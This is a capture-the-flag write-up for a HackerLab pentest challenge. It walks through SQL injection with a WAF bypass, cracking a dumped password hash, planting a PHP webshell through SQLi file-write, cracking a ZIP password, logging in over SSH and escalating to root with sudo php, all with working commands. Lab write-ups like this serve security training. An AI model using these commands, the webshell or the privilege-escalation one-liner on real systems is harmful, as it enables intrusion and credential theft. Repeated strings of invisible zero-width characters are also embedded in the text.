Кибервоин (Cyberwarrior)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-07 | Status: Solved Techniques: sql_injection, waf_bypass_comments, file_write_sqli, webshell, zip2john, password_cracking, sudo_php_privesc

Summary

Target: 62.173.140.174:18600 (web), 62.173.140.174:18622 (SSH) OS: Linux

Кибервоин (Cyberwarrior) - HackerLab

Description

Мы - компания, которая занимается улучшением классических игр. Недавно на нас была совершена хакерская атака. Мы так и не поняли, как это произошло, и теперь ищем эксперта, который поможет нам выявить вектор атаки. В знак благодарности мы готовы предоставить бесплатный ключ на любимую игру.

Target: 62.173.140.174:18600 (web), 62.173.140.174:18622 (SSH)
OS: Linux

Analysis

Pentest machine with a web service and SSH. The goal is to find the attack vector and get the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

• Port 18600: Apache web server - "GameDesigners" gaming company website
• Port 18622: OpenSSH 8.9p1
• Site navigation uses ?id= parameter for different games (Snake, Minesweeper, Solitaire, Tic-tac-toe)

SQL Injection

Testing ?id=1' revealed a MariaDB SQL error - classic SQL injection.

Problem: WAF blocks keywords:

• UNION, SELECT, OR, AND
• Spaces

Bypass: MySQL comments to bypass WAF:

• /*!UNION*/ instead of UNION
• /*!SELECT*/ instead of SELECT
• /**/ instead of spaces ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: SQL Injection with WAF Bypass

 bash read-only • copy allowed Copy
# Discovering databases
sqlmap -u "http://62.173.140.174:18600/?id=1" --batch --tamper=space2comment --dbs

Discovered databases:

• games
• mysql
• information_schema
• performance_schema
• sys

Step 2: Extracting MySQL Credentials

 bash read-only • copy allowed Copy
sqlmap -u "http://62.173.140.174:18600/?id=1" --batch --tamper=space2comment --passwords

Found hash: dev:*D26275DBEDB1A44C4CF5A31CEF64EAE346DA5766

 bash read-only • copy allowed Copy
# Cracking the hash
john --wordlist=rockyou.txt mysql_hash.txt
# Result: n0gam3sn0l1f3

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: File Write via SQLi -> RCE

SQLMap allows writing files via SQL injection:

 bash read-only • copy allowed Copy
# Creating webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/shell.php

# Uploading to server
sqlmap -u "http://62.173.140.174:18600/?id=1" --batch --tamper=space2comment \
    --file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php

Verifying RCE:

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:18600/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 4: Finding the Encrypted Archive

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:18600/shell.php?c=find+/var/www+-name+'*.zip'"
# /var/www/message.zip

The archive is password-protected (AES encryption), contains message_for_ethan.txt.

Step 5: Cracking the ZIP Password

 bash read-only • copy allowed Copy
# Downloading the archive
curl "http://62.173.140.174:18600/shell.php?c=base64+/var/www/message.zip" | base64 -d > message.zip

# Extracting the hash
zip2john message.zip > zip_hash.txt

# Cracking the password
john --wordlist=rockyou.txt zip_hash.txt
# Password: ethan4ever

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Archive contents:

Hi, Ethan. God job. Keep up the good work :)
c0unt3rt3rr0r1stw1n

Step 6: SSH Access as ethan

 bash read-only • copy allowed Copy
sshpass -p 'c0unt3rt3rr0r1stw1n' ssh ethan@62.173.140.174 -p 18622

cat first_part
# CODEBY{k3y_f0r

Step 7: Privilege Escalation

 bash read-only • copy allowed Copy
sudo -l
# User ethan may run the following commands:
#     (ALL) NOPASSWD: /usr/bin/php

GTFOBins - PHP sudo privesc:

 bash read-only • copy allowed Copy
sudo /usr/bin/php -r "system('cat /root/last_part');"
# REDACTED}

Attack Chain

Recon → SQLi Discovery → WAF Bypass → DB Dump → File Write → RCE (www-data)
    → ZIP Discovery → Password Crack → SSH (ethan) → Sudo PHP → Root

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful Commands

 bash read-only • copy allowed Copy
# SQLMap with WAF bypass
sqlmap -u "URL" --tamper=space2comment --batch

# Writing file via SQLi
sqlmap -u "URL" --file-write=local.php --file-dest=/var/www/html/shell.php

# ZIP password cracking
zip2john archive.zip > hash.txt
john --wordlist=rockyou.txt hash.txt

# PHP sudo privesc
sudo php -r "system('/bin/bash');"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍